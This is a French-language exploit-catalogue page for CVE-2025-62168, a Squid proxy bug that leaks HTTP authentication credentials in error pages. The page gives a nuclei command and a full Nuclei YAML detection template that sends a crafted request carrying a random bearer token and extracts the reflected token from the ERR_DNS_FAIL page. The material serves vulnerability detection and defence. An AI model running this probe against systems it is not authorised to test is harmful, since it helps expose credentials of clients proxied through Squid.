Exploit matérialisé

CVE-2025-62168

CRITICAL

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei critical Vérifié

Source

Squid Proxy - HTTP Authentication Credentials Disclosure

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2025-62168 -u https://your-target

Template yaml

id: CVE-2025-62168

info:
  name: Squid Proxy - HTTP Authentication Credentials Disclosure
  author: xtr0nix
  severity: critical
  description: |
    Squid versions prior to 7.2 fail to redact HTTP authentication credentials in error page responses. The Authorization header value is embedded in plain text inside the mailto: diagnostic block when Squid generates an error page (e.g. ERR_DNS_FAIL).
  impact: |
    Attackers can extract tokens and credentials used by trusted clients or backend applications proxied through Squid.
  remediation: |
    Update to the version 7.2+ or disable debug information in administrator mailto links generated by Squid by configuring squid.conf with email_err_data off.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62168
    - https://github.com/squid-cache/squid/security/advisories/GHSA-c8cc-phh7-xmxr
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 10.0
    cve-id: CVE-2025-62168
    epss-score: 0.62871
    epss-percentile: 0.99133
    cwe-id: CWE-209
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2025,info-disclosure,squid,proxy

variables:
  token: "{{randstr}}"
  invalid_host: "{{rand_base(16)}}.invalid"

http:
  - raw:
      - |+
        GET http://{{invalid_host}}/ HTTP/1.1
        Host: {{invalid_host}}
        Authorization: Bearer {{token}}

    unsafe: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 503'
          - 'contains(body, "mailto:")'
          - 'contains(body, "ERR_DNS_FAIL")'
          - 'contains(body, "{{token}}")'
        condition: and

    extractors:
      - type: regex
        part: body
        name: leaked-token
        regex:
          - "Authorization%3A%20Bearer%20([^%]+)"
# digest: 490a0046304402202d960c811805bdab5db5f1a4bd79167301ec8984f1c1387b49053d43333700f30220335c625427e9948939595f78787231cad3f59971214010be552acee206144a29:922c64590222798bb761d5b6d8e72950